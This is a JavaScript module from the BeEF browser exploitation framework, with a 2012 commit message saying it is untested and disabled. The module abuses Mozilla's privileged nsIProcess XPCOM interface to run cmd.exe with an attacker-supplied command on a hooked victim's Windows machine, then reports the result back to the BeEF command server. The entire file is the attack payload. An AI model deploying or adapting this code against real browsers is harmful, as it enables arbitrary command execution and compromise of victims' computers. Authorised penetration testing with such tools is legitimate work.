Files
beef/modules/exploits/mozilla_nsiprocess_interface/command.js
bcoles bfd6f764aa Added module Mozilla nsIProcess XPCOM Interface
This module is a port of the same module from BeEF-0.4.0.0

It has not been tested. It is currently disabled.

Part of issue 506
2012-01-10 17:29:07 +10:30

37 lines
1.5 KiB
JavaScript

//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var result = "command sent";
try {
var command_str = "<%= command_str.gsub!(/"/, '\\"') %>";
var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("Home",Components.interfaces.nsIFile);
var lFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
var lPath = "C:\\WINDOWS\\system32\\cmd.exe"; // maybe "%WINDIR%\\system32\\cmd.exe" would work?
lFile.initWithPath(lPath);
var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
process.init(lFile);
process.run(false,['/c', command_str],2);
} catch (e) {
result = "an unexpected error occured";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+result);
});